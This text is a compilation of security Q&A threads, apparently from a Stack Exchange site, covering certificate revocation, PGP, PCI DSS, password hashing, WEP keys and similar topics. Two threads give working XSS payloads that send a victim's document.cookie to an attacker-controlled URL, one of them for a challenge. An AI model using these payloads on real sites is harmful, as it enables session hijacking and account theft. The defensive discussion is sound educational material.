To solve the scalability issues with CRL and OCSP, OCSP stapling was invented. Your site itself contacts the CA once a day to get a signed note that says "at this time, the certificate has not been revoked" and passes this signed note to the browser. This leaves a window of a day during which the certificate might have been revoked and your browser won't suspect a thing, which is better than what we have now.


Is it a safe to hardcode my secret key in my iOS app? Cloudinary iOS SDK configuration suggests to hardcode your api_secret in your iOS app's source code.

Isn't that a security vulnerability since string literals can be extracted from the app binary, e.g., by using the strings command?

Neither the Facebook SDK for iOS nor the AWS Mobile SDK for iOS asks you to hardcode your API secret into your iOS app's source code. To authenticate client requests, the Facebook SDK for iOS seems to use some sort of signing algorithm and the AWS Mobile SDK for iOS uses pre-signed URLs & Amazon Cognito Identity.

The API-SECRET as the name implies is secret and therefore should never be revealed in the client-side (nor on mobile applications).

This credential is being used for generating signatures which can then be used for listing, deleting, overwriting and editing your content.

You should either store it on the server side and pass only the generated signature, or use client-side unsigned methods which don't require signatures.


Is your PGP passphrase used to decrypt an encrypted private key, or needed in conjunction with the private key to decrypt the message? If the former, then if the private key can be used to digitally sign messages, why doesn't your client offer to encrypt this highly sensitive piece of data?

If the latter, then if someone had access to your private key alone, would they be able to decrypt all your messages?

Thanks in advance, I haven't been able to find a clear answer.

The former.  Your PGP private key is stored on your disk in encrypted form.  In particular, it is encrypted using your passphrase.

To decrypt a file, PGP needs (1) your passphrase, and (2) the encrypted private key file; from these it can reconstitute your private key, and then decrypt the file.  Neither alone is sufficient to use an encrypted private key file.

To answer your question, your client does encrypt your private key.  It is stored on your disk in encrypted form.

(I am assuming you are using public-key encryption, not conventional encryption.)


Do I have to comply with PCI DSS for bank transfers? The company I work for is looking forward to make an online store for wholesalers (t-shirts, muggles, office co-branded supplies, etc.) but we don't store, process or transit any card data. The process is as follows: the user gets to our website, adds the products to the cart, after this our bank account number will appear, I get a notification and the user makes a transfer directly to the bank.

What security issues, PCI concerns should I worry about?

PCI DSS is for handling card data

Payment Card Industry Data Security Standard is, as the name states, a standard for handling payment card data. Compliance with PCI DSS is generally a contractual requirement, as a condition in your agreement for accepting credit card payments - if you don't have such an agreement, you're not required to comply.

The confidentiality of account numbers depends on your location. For example, it is rather common EU practice to display your IBAN account number to anyone interested (e.g. in the Contacts section of your webpage) but as far as I understand in USA that might expose your to certain types of fraud, so you might want to hand out that number only to actual customers that need to pay.


Carrying two authorization tokens in a request In my group we have been asked to implement an authentication-authorization flow in a new web portal that lives in a complex infrastructure.

For historical reason the initial authentication of each user is done by an older "main portal", which does the job for every other service in the infra. This originates a token that is usually carried in the Authorization header (with Bearer prefix). In our case, the absence of this token will drive us to ask the user to authenticate to the "main portal".

But: our new portal will feature several sub-services that require a finer-grained authorization mechanism. We'd like to end up producing (after a successful authentication at the main portal) a second token, meaningless to the rest of the infra, which shall be checked by us for every request thereafter.

Questions are:

is this absolutely unusual or somehow wrong/flawed?
in which header could we store the second token? (I was thinking at X-Auth-Token)
is there any compelling reason/justification for advocating to keep always just one token and swap the initial token with ours in the Authorization/Bearer header?

In case it may be relevant for the answers, we are about to use Spring Security and JWT for the job.

That is not wrong, but redundant. As you say, if there is a legacy
system involved, then such an approach might be unavoidable.
Effectively what you have an initial authentication, which is later
superseded by authentication from sub-service.
Yes, X-Auth-Token is
an appropriate header for your secondary token.
The only point to consider in this case - what happens when you need to close the
session? You are introducing a complication that both tokens need to
be invalidated to avoid ambiguity.


Why it does not matter whether you type HEX or ASCII as WEP WiFi password? I know that I can pass password in HEX as a keyphrase to WiFi network using WEP encryption as well as ASCII. But somehow you cannot get the ASCII when you only know HEX value.

Can anyone explain the underlying reason for this ? How does this work ?

For instance: I have decided to make a small 'laboratory' and set up a network with WEP encryption on my router and try to crack it. And as I have done this I have obtained HEX keyphrase which translated with 'normal' tools or manually with HEX to ASCII table didn't correspond to ASCII values of this key.

According to Wikipedia's page on WEP:

  A 64-bit WEP key is usually entered as a string of 10 hexadecimal (base 16) characters (0-9 and A-F). Each character represents four bits, 10 digits of four bits each gives 40 bits; adding the 24-bit IV produces the complete 64-bit WEP key. Most devices also allow the user to enter the key as five ASCII characters, each of which is turned into eight bits using the character's byte value in ASCII; however, this restricts each byte to be a printable ASCII character, which is only a small fraction of possible byte values, greatly reducing the space of possible keys.

So in hex mode, 0 is 0, but in ASCII mode 0 is 48. Similarly, in hex mode F and f are both 15 (they're the same number), but in ASCII mode they're 70 and 102 respectively (different characters). You actually can convert the hex values to ASCII, but you probably won't get printable characters.


Can Apple technically intercept iMessage messages I'm basing this question off the iOS Security Guide.

If I understand this correctly, when you enlist in iMessage, the private key stays on your device, while the public key is pushed to a directory service. Since iMessage supports multiple devices, couldn't Apple just push their public key onto your account, so that when it syncs, it could also sync to one of their devices as well?

If you make use of Apple's iMessage service then you are implicitly trusting Apple, as they wrote all the code that you are running and therefore could make it do anything they want it to.

So either you believe their statements, in which case iMessages are encrypted end-to-end and all is well, or you don't trust them and you should probably not use iMessage.


Does a cyber-attack influence the occurrence of faults? I am looking for opinions and point of view of experienced people on this question, as I am not able to find a lot of resources.
Let me define the terms first, so that we all talk about the same things.

What I call a fault is an unintentional problem that may occur in software or hardware, because of a computation resources problem, a bad implementation, a natural event ...

A cyber-attack is an intentional, malicious action to compromise a system (steal data, tamper with data, modify system behaviour ...).

My question is simple: is there a chance that, when an attacker attacks a system, the occurrence of faults of this system increase? If yes, is there any sources to justify this claim?

In my opinion, it is the case. If an attacker uploads a script on a resource-constrained execution platform, this script may cause the platform to not have enough available resources to execute its expected tasks. Hence, the fault probability is higher than when the script is not there.

Yes, there's definitely a good chance that occurrence of faults in a system increase in case of attacks and compromised systems.

On a compromised system you may have any or even all of the following:

tasks running in background (that may interfere with legit processes)
terminated processes (many things like backup-related processes will be stopped on an infiltrated system in the case of ransomware-like scenario)
altered general system settings (may affect many things from specific programs to the overall system functionality)
altered user accounts (changing account passwords can prevent various things from running under these accounts)
unusually high resource usage (in the case of miners, which can make other legit processes crash or have low performance)
scripts altering results of normal actions (like outlook scripts stealing passwords and then spamming with your account)

Any of them can cause a legit process/task/program to become faulty.


What is the severity if someone read the ConnectionStrings_Prod.config? I was doing an pen test in a website and the programmer did a big mistake and I was able to read any file. So I read the web.config and see the password for database was in ConnectionStrings_Prod.config.

Before report and just for curiosity, I tried to connect to database. This is MS SQL Server 2014. Because my lack of knowledge, I wasn't able to connect using common program.

So, this was my mistake only? Or this is a second line of defense, because only computer inside the server can connect to the database? (I am outside, in my company)

This is the entire file.

<connectionStrings>
  <remove name="LocalSqlServer" />
  <add name="LocalSqlServer" connectionString="Data Source=10.#.#.#\MSSQLSRV2014,24##;Initial Catalog=****;uid=*****;pwd=****;pooling=true; Min Pool size=50;; Max Pool Size=1000000;Connect Timeout=200;Packet Size=32767;trusted_connection=false;"
    providerName="System.Data.SqlClient" />
  <add name="**.Properties.Settings.*****ConnectionString"
    connectionString="Data Source=10.#.#.#\MSSQLSRV2014,24##;Initial Catalog=*****;uid=******;pwd=******;pooling=true; Min Pool size=50; Max Pool Size=1000000;Connect Timeout=200;Packet Size=32767;trusted_connection=false;"
    providerName="System.Data.SqlClient" />
</connectionStrings>

What is the impact of this security fault?

Just because you were not able to connect directly, this still poses a few problems (will speak on them in a second). Anything and all should always be reported for a few reasons, it is informational, it illustrates that time was taken to analyze information during an engagement. Now there are a few reasons I can think of, for this happening (permissions)"

1) Developer took shortcuts (made permissions changes to ease
   his/her work)
2) Developer could not get it to work otherwise and needed that
   permission (read all) to make it work

With the information in the configuration readable, depending on their structure, an attacker can likely use this to escalate privileges (depending on the configuration of accounts), access data otherwise meant to be private (e.g, logging into a SQL server elsewhere on the network given credentials were provided, etc).

Depending on what kind of engagement (black box pentest, white box pentest) you could ask the developer as to why this is configured as such, yet still report it, and offer the risks associated with having data stored/visible like that. It will all boil down to tolerance. For example: "You have access to this information to log into a machine WHILE ONLY on the server" albeit horrible to leak data, you cannot exploit any server to even use the data you found, so the risk is lower than if you EXPLOITED the server, then used that data.

I have done pentest engagements where data from robots.txt allowed me to escalate via chained attacks. E.g. config files and comments in pages pointed to other directories, which allowed me to connect dots to exploit something, and once I was in, I didn't need to escalate. Everything was handed to me usernames in comments, old configuration files with db names, hashes, etc.


What is the procedure for selling a zero- day? I read this question recently What does it mean to “burn a zero-day”?

I then researched on Google and read a few articles, this one "Shopping For Zero-Days" was particularly interesting because there are people that have companies that are in the business of just that.

Hints are given on who buys them, and I actually found Zerodium, Raytheon was mentioned, and of course governments as well.

But what is the procedure behind selling a zero-day? Like with Zerodium it says you have to submit it. But that can be kind of iffy I would think, specially if you are a "little guy" when there is actual companies that are dedicated to that.

This answer only touches on the process of selling 0days to resellers like Zerodium and is only guesswork.
From the Zerodium FAQ:

What happens after accepting an acquisition offer from ZERODIUM?
After evaluating and approving the research, ZERODIUM will send you the final acquisition offer and the agreement to sign.
By signing the agreement, you will accept to sell your research to ZERODIUM and transfer all related intellectual property rights to us, meaning that the research becomes the exclusive property of ZERODIUM and you are not allowed to re-sell, share, or report the research to any other person or entity.

You can take a look at the submission process of Zerodium in this chart.
The part I marked in italics in the text is the important one. You as a researcher have to make sure that you document your research in advance and may1 then claim intellectual property for it. That is pretty easy and cheap for instance in the US (costs 35$ I think).
Zerodium is then not allowed to reuse your code, unless you transfer the intellectual property to them. It will however - as you already pointed out - be pretty hard to prove that Zerodium will not do that. That is because Zerodium and their buyers do everything to disguise any business dealings they have. Possibly a contract is signed after Zerodium claims its interest in an exploit and before a researcher sends a pre-offer, but that is only speculation on my side.
In conclusion: A lot of that transaction - as every transaction with a 0day broker anywhere else - will rely on trust. If you don't trust them in the first place2 don't sell to them. But: If you have a working exploit, my guess is they won't fool you. Because someone who is capable of developing one working exploit - the product Zerodium is trying to sell - is probably capable of developing more. So from Zerodium's perspective it is economically smart to establish a relationship and therefore trust to this person.

1 I'm not 100% sure on this, but I think you still have the Intellectual Property on your creation, even if it is not registered. Quote from the linked PDF: "With
unregistered IP, you automatically have legal rights over your creation. Unregistered forms of IP include copyright, unregistered design rights, common law trade marks and database rights protection for confidential information and trade secrets"
2 IMHO: you shouldn't, just for ethical reasons


MAC address of user still on my Wi-Fi network, despite his device isn't in my home anymore I've recently installed NetCut (from Arkai corp.) on my PC. I've already successfully executed the app and tested it several times. I can see the MAC addresses of all network users, kick them out of the Wi-Fi, see their IP, etc.

However, this afternoon, when I launched the app, as the usernames began to appear, I saw the name of my ex-girlfriend's phone (iPhonedeCoralie). I could also see her phone's MAC address, and the IP address. The problem is that she and her phone are not in my house (she lives in another village, 5-6 kilometers away). She is not even close to my house.

Why and how can her phone be connected to my Wi-Fi if she and the phone are not even physically near my house? And is there a way to track the phone's location to see where it is?

Without understanding how NetCut works for certain, we have to account for the possibility that it's not actually "scanning" your network for this information. It could very well just be querying your system or infrastructure devices, which may still have this information cached from the last time your girlfriend's phone was nearby.

Try turning off everything - home gateway, router, switch, access point (may be all-in-one), and PC. Unplug it all and let it sit for a minute without any power. (For some devices, including newer home gateway systems - especially those with VoIP - this may also require removing a battery.) Then boot the devices one at a time, in sequence following the connection from your ISP (start with the home gateway) to the furthest end (your PC), waiting for each device to come fully online and stabilize before booting the next.

After your computer has booted, don't run NetCut just yet. Open an elevated command prompt, and run the following commands:

ipconfig -release
ipconfig -renew
ipconfig -flushdns
netsh interface ip delete arpcache

Then, log on to your router and look around for its list of connected devices. There should be a refresh/flush option somewhere in there - hit that and wait for it to finish. (Note: This should be a button that just resets/flushes the discovered devices list - not a "factory reset" or similar operation.)

Then try NetCut again.


How to handle password storage for my project? We have NFC cards to keep track of presence, students scan their card to a terminal at the beginning of every lesson, we want to extend the cards usage to filter out who can access the Raspberry Pi's inside the building without adding much of a hassle.

These Pi's are thin-clients, so authentication to a VM will need to be done as well.

Now for the basic of unlocking the pi itself, I'm going to rely on xlock.

We launch the program on Pi's startup then this will start xlock. The program will start checking if a NFC Tag is read, and if so what's the ID of the tag?
So, now got the ID of the tag, let's check in the database if the owner of the tag has permission to use the Pi. Let's assume he does have permission, kill xlock, go to the database and check the password belonging to the users VM, and log him in through rdesktop.

The specific threat I want to adress: How can I prevent someone to use someone elses VM (By hacking the database and retrieving plaintext passwords for example).

Options I have thought of:
If a user wants access, write something on his tag.

I think I found a solution:
Authentication user account handles authentication, then opens rdesktop on the "student" account, the student will not be able to read through the code and figure out how to get into the database. And as a bonus on security, only allow the students to use port 80 and TCP port 3389 and UDP port 3389.

Relying on NFC for authentication makes your project's security flawed by design.

NFC cards alone doesn't provide a secure way to avoid eavesdropping and replay attacks. NFC cards can be easily read/write from wider distances than expected.

For the VM authentication, I would advice not to store passwords either.
Explore other authentication means, such as smart cards.

Have a look at http://www.nearfieldcommunication.org/nfc-security.html for more on NFC (in)security.


Germany: Privacy Protection Regulations and Response Do privacy protection laws within Germany/EU protect students from gross invasions of privacy? I have reason to believe that through some either permitted or unsanctioned channel my teacher was able to information about my criminal history [Editor's note: OP does not note if his legal record is public record in his former country] and my Internet browsing history. In addition, she publicly exposed this information to my classmates.

Under EU/German laws is such action forbidden as an invasion of privacy? Do I have any recourse or way to report this? Does it matter than I recently moved to Germany [Editor's note: not clear how long he has been here and any other EU/Germany citizenship conditions]

I would reach out to a lawyer in Germany who is very familiar with local law and the EU Data Privacy Directive. No one here is qualified to give a legal opinion and as @Gilles mentions in his comment, there are probably other details. I am also not sure if there are implications with European citizenship (which if you just moved into the EU/Germany you likely do not yet have) and the scope of the protections offered in Europe.

From my personal experience, this sounds little out of character, as many European companies will not perform background checks for fear of being sued on privacy invasion grounds.

I would start with the The Federal Commissioner for Data Protection and Freedom of Information with the Data Protection Acts node here. There seems to be a lot more information available in German than in English, so this site may be more helpful if you are fluent in German. I'm pretty sure there is an lawyer or legal office you can contact for more information on this issue.


XSS cookie Stealing with Character limitations The rules also Include
1. No jQuery
2. Only through making an API AJAX request.
3.character limitation of 100 characters.

Can any suggest me how I can build a payload sticking with these rules.

var xhr=new XMLHttpRequest;xhr.open("POST","https://{short_domain"),xhr.send(document.cookies);

You have here around 90 characters (depending on the domain URL you are calling), no JQuery and AJAX call.

Unfortunately this solution assumes that what could be done wrong regards security, was done wrongly: No input validation (whitelisting), no output encoding, cookies without http-only flag, no Content Security Policy. I hope no such a page exists.


Is NTFS file compression vulnerable to a CRIME-like attack when using an encrypted volume? I know that content compression can cause SSL to be vulnerable to the CRIME attack, via changes in the content length when injected plaintext matches existing content. Does this principle carry over to NTFS file compression on volumes that are encrypted via tools like BitLocker or TrueCrypt?

According to this blog message, NTFS compression is per-file: it can be activated on each file individually, or on the whole volume, but even in the latter case, each file is compressed independently of the others. This makes sense because data redundancies are often intra-files, not inter-files, and doing otherwise would be quite hard anyway.
CRIME-like attacks work when the attacker can insert his own data which is compressed along with data that the attacker wishes to guess (in the case of CRIME, the secret data was an HTTP Cookie in a request where the attacker gets to choose the target path). To transfer that to NTFS compression, you must imagine a system with files that the attacker cannot read, containing data which is interesting to the attacker, but such that the attacker can insert some contents of its own in the file.
Also, CRIME-like attacks require that the attacker can observe the compressed size. I am not sure that Windows offers an access to that information, and, crucially, can yield this information for files which the attacker cannot read. To some extent, the attacker can observe the free space total count on the volume, and thus guess the efficiency of compression on a single write, but with a high granularity (that of a cluster, i.e. a few kilobytes). If the compressed size of the target files can be observed with byte granularity by the attacker, then I deem CRIME-like attacks a plausible thing.
For instance, imagine a file containing unencrypted user passwords, and user-chosen "display names". By registering new users with crafted names, the attacker would try to exploit similarities between the crafted names, and the passwords of the other users.


How to escape user input in a value of javascript object? How to properly escape user-controlled input when it's inserted as a value in JSON object?

<script>
  $(document).ready(function() {
    new MyObject({
      key1: "user_input",
      key2: ["user_input1", "user_input2"]
    });
  });
</script>

http://code.google.com/p/json-sanitizer/ takes JSON-like content and converts it to JSON that is safe to evaluate as JavaScript source code and which can be embedded in HTML <script> elements and in XML <![CDATA[...]]> sections.

For example, given

{
  key1: "user_input",
  key2: ["user_input1", "user_input2"]
}

It preserves several properties:

Keys must be properly quoted.
Brackets match.
All JavaScript newline characters (CR, LF, U+2028, U+2029) in strings are \u.... escaped.
Quotes ("), backslashes (\) are \u.... escaped to ensure that strings do not end prematurely.
Angle brackets (< and >) are \u.... escaped as necessary to prevent strings from containing the literal text </script or ]]> which would prevent embedding.
All control characters (actually characters not allowed in XML) are \u.... escaped including U+0-U+1F excluding tab, U+7F, U+FFFE, U+FFFF.
Orphaned UTF-16 surrogates are \u.... escaped.
All escape sequences are converted to valid JSON escape sequences including octal escapes (\012), two-digit hex escaped (\x0A), and single character escapes (\!).

It can be a good idea to \u.... escape things like + to defang UTF-7.


websocket connection over TLS using nopoll fails with SSL_ERROR_SYSCALL I am writing a messaging client that should connect to a server using websocket secure(WSS). When the client initiates nopoll connection, openssl returns SSL_ERROR_SYSCALL.

The server also supports https-sse protocol. So, to confirm that the x.509 certificates used are correct, I tried connecting to the server using https-sse. This works as expected.

Since the server uses the same certificates to authenticate clients connecting over wss or https, I don't understand why wss connection would fail with SSL_ERROR_SYSCALL when https connection can work with the same server.

Server ip address and port number are the same of WSS and HTTPS. They differ only in the schema. wss://: and https://:
Client supporting both wss and https is written in C language as it is intended to be an existing product running code written in C.

The websocket client process used nopoll library that needed access to /dev/urandom as it called random() to generate seed. But the process itself was running in a linux container that did not have access to /dev/urandom. So the client was unable to generate keys during TLS handshake.

Mounting /dev/urandom to the client container resolved the issue.


HTTP Reverse Proxy: Correct way to do SSL to backend If I have a HTTP reverse proxy that communicates with it's backends in an untrusted datacenter, or across datacenters, I would want to use HTTPS in the backend, as talked about here:

Reverse Proxy Secure Configuration

How would these SSL certificates be set up though? I can hardly buy and install a new certificate every time the backend IP address changes. Simply ignoring a non-matching common name doesn't seem very secure. Do I setup my own CA where I can auto-generate certificates? Would the proxy use some sort of certificate fixing?

How is this generally done? Is there ready to use software out there I could use?

First, set your CN to be on the FQDN (which is what it should be in the first place), so it doesn't matter what IP address it's on.  Second, you could use internal certs if you wanted to, that's one option, however this needs to be extremely locked down and segmented.

Typically what I'd do for something like that is one of two solutions, depending on what was at my disposal:
 - Use internally-signed certs on the back end, and on the reverse proxy, use 1 cert purchased with the correct number of "units" of servers that it is frontending.  The bonus here is you have separate keys so if one is compromised you aren't compromised the whole way through.  You also have the ability to stagger expiration dates so, if one hits expiration, you can take it out of the group (maintain uptime of the app) while you update all of the certs.  Make sure that the reverse proxy has the latest expiration date.
 - Get an external CA to sign your cert and copy the cert/key from the reverse proxy to the backend servers.  Here you have one key in multiple places, so if it is compromised,  you're compromised the whole way through.  Additionally, if the cert expires, it expires at the same time everywhere, but you still have to update it everywhere when you get a new cert.  This is not always legit, but VerSign didn't mind.  There are also different costs depending on the user of the server (Active/Passive, Primary/DR, Active/Active, etc.) so be sure to discuss with your CA.


Is it easier to get the original password if you have multiple hashes of it, all created with the same hash function? If you have multiple hashes of a password, all hashed with the same hash function, is it possible to use this to speed up retrieval of the original password in any way?

(I found the question "is it easier to get the original password if you have multiple hashes of it", but that seems to be talking about multiple hashes of the same password but created with different hash functions.)

A pure hash function is deterministic, which means that if you hash any given value, you should always get the same hash out. 5f4dcc3b5aa765d61d8327deb882cf99 is always the MD5 hash of "password". You can try it on different machines, with MD5 implementations written in different languages, and, assuming they are correct implementations, you should always get the same hash from calling md5("password") or the specific language equivalent.

However, that is a really bad property to have in a password storage system. To mix things up, better password storage methods use a salt. In that case, the string being hashed is changed for each record. Instead of everyone who used "password" getting the same output hash, the hash is generated of "password+salt" (or "salt+password", "pass+salt+word", or any other merging. Doesn't matter for this question), so you get a bunch of distinct hashes:

b305cadbb3bce54f3aa59c64fec00dea - passwordsalt
67a1e09bb1f83f5007dc119c14d663aa - saltpassword
9eee04c6cecbc87f7699823f559b820d - passsaltword

As can be seen, there aren't any particular common features in these, even using the MD5 hashing algorithm, which is a bad choice for password storage. (The pair of "b"s at positions 8 and 9 in the first two are just coincidental).

This is because MD5 is implements the "avalanche" effect - the change of a single input bit will cause a significant amount of the output to change (ideally about 50% for various analysis reasons).

All this combined means that even with the short salt used above, the only way to determine that the word "password" is in the three hash inputs is to try out all the possibilities.

This is dependent on the hash function used - you could construct a hash function where adding a similar salt resulted in a similar change to the output (so "passwordsalt" and "passwordsals" only vary by a small amount when hashed), but that isn't typical for hash functions used for password storage.

Furthermore, modern password storage recommendations suggest the use of something like bcrypt or scrypt, both of which generate a strong salt as part of the hash initialisation:

$2a$08$WCUycJKlopCnpbAoYIQBj.wlsQA3iC2QhLOBpMMVZZtSO8hsXP1SW
$2a$08$8s89Oz3AsJ.Dv.HAjIGKC.JdZJwzQUAkSX7Mels1Cc6Zwter.z7NO
$2a$08$r5lrQviZKBDgLS4z8OKVWOnlza16.tLDCqjq8pdQ1wY.iDSldXCFW

All of these are hashes of "password" - and having all three doesn't help you at all.


Is there any way to safely examine the contents of a USB memory stick? Suppose I found a USB memory stick lying around, and wanted to examine its contents in an attempt to locate its rightful owner.  Considering that USB sticks might actually be something altogether more malicious than a mass storage device, is there any way I can do so safely?  Is an electrical-isolation "condom" possible?  Is there a way to manually load USB drivers in Linux / Windows / OS X so as to ensure that it won't treat the device as anything other than USB mass storage?

After all, despite all the fear-mongering, it's still overwhelmingly more likely that what appears to be a misplaced memory stick actually is just a memory stick.

Follow-up question: what measures do/can photo-printing kiosks take to guard against these kinds of attacks?

I'd use a Raspberry Pi, the Model A/A+ without a network connection, as:

It (or rather Linux) can read most types of filesystem on a USB stick.
The only non-volatile storage it has is an SD card, which can be reformatted (or discarded if you're paranoid) afterwards.
If the USB stick turns out to be electrically malicious, you've only lost $20 of hardware.
It runs a somewhat non-mainstream OS on a non-x86 platform, which makes it less likely to be vulnerable to typical Windows malware.

This still leaves the question of what you'd do with any files you find on it - copying them to any other machine would obviously put that machine at risk.

Nothing is 100% safe, mind you. I can put it no better than James Mickens: "If your adversary is the Mossad, YOU’RE GONNA DIE AND THERE’S NOTHING THAT YOU CAN DO ABOUT IT".


Improving security by altering size of hash strings So I was thinking, if people get access somehow to your list of hashes, it's easy for them to figure out what alghoritm you used if they have 32, 40, 60 characters etc

But what if you slice those strings a bit, like you use SHA-1 which is 40 and slice it to 32 characters? That would certainly make people think you are using MD5 and they will be wasting their time using md5 to find out the passwords :))

Would this improve security or have the opposite effect?

First of all, don't use SHA-1 or MD5, as they are both deprecated (see this IETF draft).
As @dandavis has correctly noted, security through obscurity does not make your system more secure.
Actually, the post that @Steffen Ullrich shared in his comment is excellent and thoroughly explains why you shouldn't focus on keeping the algorithm you used a secret, but rather on how secure the algorithm you're using is.
[Bonus] Here's a cartoon I like:

Lastly, if you want to store your list of hashes securely (assuming passwords!?), then you should store each password with its own salt, together with a system-wide salt (called 'pepper').
You can have a look at this paper from 1979 for a more 'in-depth' explanation.


PCI compliance and external resources http/https Firstly, if a site is PCI compliant, and new references to a 3rd-party file (e.g. image, Javascript, CSS, etc…) via http:// instead of https:// are added, does it violate PCI compliance?

Secondly, would adding a reference to a third party js library over https validate PCI compliance?

Thanks

(IANAQSA)

The PCI DSS only requires encryption to protect cardholder data:

  Use strong cryptography and security protocols (for example, SSL/TLS, IPSEC,
  SSH, etc.) to safeguard sensitive cardholder data during transmission over open, public networks.

Incidental page content which does not involve cardholder data does not require that level of protection.  Of course, if your cart checkout (which must be secured as that's where card data gets entered) includes an unsecured http:// image, most browsers will complain, so you'll generally want to secure even the images and other content there.

If you're using a third party js library as a payment application, then PCI compliance is an issue - probably just making sure that it's PA-DSS compliant.  However, if you're using a third party js to make your page look pretty, and it's not handling card data or impacting card data communication streams in any way, it won't impact compliance.

Updated to respond to @cchamberlain comment:

I believe that third-party libraries like Angular would fall under DSS (version 3.1 quoted here) section 6.2:

  6.2 Ensure that all system components and software are protected from known vulnerabilities by installing applicable vendor supplied security
  patches. Install critical security patches within one month of
  release.

Contrast this to "bespoke or custom software developed by a third party" in section 6.3:

  6.3 Develop internal and external software applications (including web-based administrative access to applications) securely, as follows:

  In accordance with PCI DSS (for example, secure authentication and
  logging)
  Based on industry standards and/or best practices.
  Incorporating information security throughout the software-development
  life cycle

  Note: this applies to all software developed internally as well as bespoke or custom software developed by a third party.

So, if it's a software product for general distribution, it's assumed not to be malicious and you need to keep it up-to-date and react to security advisories.  But if someone develops custom code for you, you have to treat it with equivalent levels of scrutiny to your own code.

I think this boils down to "trust that the owners of the library do not have ill intent" for something like Angular.  You're still responsible if they do something inappropriate, of course.


When changing a PGP passphrase, does it only affect the private key? I am beginning to use GPG for email encryption. If I use
gpg --edit-key [keyID] to change the passphrase, what files will this affect? Will it only affect my private key, and thus I only need to rebackup this key? Will it leave my public key and the revocation certificate alone, or will these need to be regenerated and then distributed and stored, respectively?

Your PGP private key is encrypted at rest. Altering the passphrase re-encrypts your private key, but it does not affect the actual private key itself. Your passphrase is used to encrypt your private key. From How PGP Works:

  PGP uses a passphrase to encrypt your private key on your machine. Your private key is encrypted on your disk using a hash of your passphrase as the secret key. You use the passphrase to decrypt and use your private key.

When you change your passphrase, the protection around your private key has been altered, but the key itself has not. Consequently, the matching public key is still valid, since its corresponding private key is unchanged.

You can back up your newly encrypted private key, since the encryption protection around the key has changed, but the key itself is unchanged.


Are JSON web services vulnerable to CORF attacks? Is a web service vulnerable to CSRF attack if the following are true?

GET/OPTIONS Requests are Rejected
Token is used for Authentication, Without token we cant access the application

  Access-Control-Allow-Origin: * is set

I am building a web service that exclusively uses JSON for its request and response content

This is not vulnerable if the content type only accepts application/json because you cant create an html form that posts that content type, and thats what you would need to do csrf if you cant use ajax, which you cant with the above CORS header. Also, if the token is in the authorization header, its not vulnerable because it wont be submitted in a csrf attack.


XSS with requestbin.net I am trying to steal the admin cookie using an XSS attack for a challenge.

The vulnerable page is a page where a user can post a comment.
When I enter

in the comment field, a pop-up window is displayed.

I then created a requestbin, and enter the following message in the comment field :

Unfortunately I am not receiving anything on my requestbin page...

I also tried :

This also accepted but again I get nothing on requestbin.

Could this be a server error or am I missing something?

You can try to open your browser developer tools (JS console and html view) to see if there is a problem with your JS code or maybe the way your payload is interpreted by the server and then your browser such as characters being escaped.

If you can directly execute JS, then you can do something like this<script>document.location="http://yoururl/something.php?c=" + document.cookie;</script> which is easier.


Is it a security issue to show the complete bank account number in your payment methods? While websites like amazon and most others do not show your bank account number (except for the last few digits) when displaying the details of your current payment methods (using direct debit), others like car2go show your complete account number. Is there any problem with showing the complete details?

It probabbly is:

An account number (complete of course) it's a medium-high level information.
So showing it completely may be a chance for a attacker to steal it, as for example, using a remote-VNC malware.

In most of cases, having only the account number won't mean a risk of being a fraud victim, as it requires some other info (as CVV, PIN-code, or any other additional security measure). But it's a leak of information.

Any platform with a good security should not show the complete account number if it is not needed.


would preparing for CCNA add "significantly" to my knowledge as a penetration tester? I'm a post graduate student and self taught programmer. I concentrated on Computer Networks & Operating Systems more during my undergraduate studies. I can explain usually used protocols by sniffing the traffic on wires. Operating Systems was my obsession, I know internals of Linux (read code & books).

Now I'm teaching myself Penetration testing from books that are well known to the community and practicing the same. I've no interest in getting "certification" but knowledge wise, would preparing CCNA syllabus help me "significantly" during my penetration tests?

I doubt because its "Cisco" certification. I mean its just one company that produces routers & firewalls.

I wrote the CCNA back in 2000, it was really basic back then.  My cert long expired and I'm re-writing.  The exam that I aced in 2000 is now a serious PITA.  The old CCNA is closer to the newer CCENT.

The CCNA exam will drill you for speed, speed and more speed.  Worse, there's over 1200 pages of material to master for a 75 minute exam.  Preparing for it will waste weeks of your time and frustrate you.  Unless you've got a really good memory or really good luck, you're not going to be able to get through it without substantial experience.  I have multiple certifications and the only exam I ever failed was the CCNA.

Being able to quickly extract information from routers or quickly diagnose misconfiguration in a WAN protocol is not necessary for pen testing.  You can always ask a network guru or dig through the manuals, but the CCENT will at least familiarize you with routing protocols, some basic VLAN stuff and the Cisco command line.

Do not underestimate the CCNA.  42 questions, 75 minutes, many scenario based questions.  Trunking, routers-on sticks, WAN encapsulations, Cisco defaults and idiosyncracies like their stupid "basic access lists", setting up stupid NAT vs. misnamed PAT, on and on and on.

When you get your CCNA, it makes sense to continue on to your CCNP.  It's easier.

Just get the CCENT.  It will be fun and interesting.


Can I broadcast packet to a public ip? I have seen that x.x.x.255 is reserved for broadcasting. Is it only work for broadcasting to the computer which connected to the same router? Can I broadcast to public IPs?

Basically, there is not difference between local IP and public IP. By convention, the last available IP of a network always is the broadcast address. However we can imagine the ISP responsible of the network would reject any packet sent to the broadcast address, or at least limit it in order to avoid spamming.

Just test it :

foo@Bar:~$ host security.stackexchange.com
security.stackexchange.com has address 198.252.206.16
foo@Bar:~$ whois 198.252.206.16
# ...
# Some stuff
# ...
NetRange:       198.252.206.0 - 198.252.206.255
CIDR:           198.252.206.0/24
# ...
# Still some stuff
# ...
foo@Bar:~$ ping 198.252.206.255 -c5
PING 198.252.206.255 (198.252.206.255) 56(84) bytes of data.

--- 198.252.206.255 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4003ms

Here we can see that the ping was dropped. Otherwise it would have return IP addresses of some machines upon the network 198.252.206.0/24.


How do you estimate the costs of a security breach? I'm a student and fairly new to the IT security field. Most articles and books say you should only patch a vulnerability if the costs of a breach are higher than the costs of patching the vulnerability. However, I can't find any explanation that can give me at least some basic knowledge and skills about this issue.

How do you estimate the costs of a security breach?
How do you estimate the costs of patching a vulnerability?

As a security professional, it is often best to 'outsource' this calculation to the business. For example, if you identify a vulnerability which you can demonstrate is easy for an unskilled attacker to exploit to destroy the customer database, and the operations team estimate bringing it back from backups will take 4 hours, including checks, ask the business owner what that will mean to them in terms of cost or impact.

The business should have a view on indirect costs created by customers avoiding the company, and an advertisement complain to restore confidence.

Once they have told you the cost, your side - helping to define protection - is much easier, as @growse said.

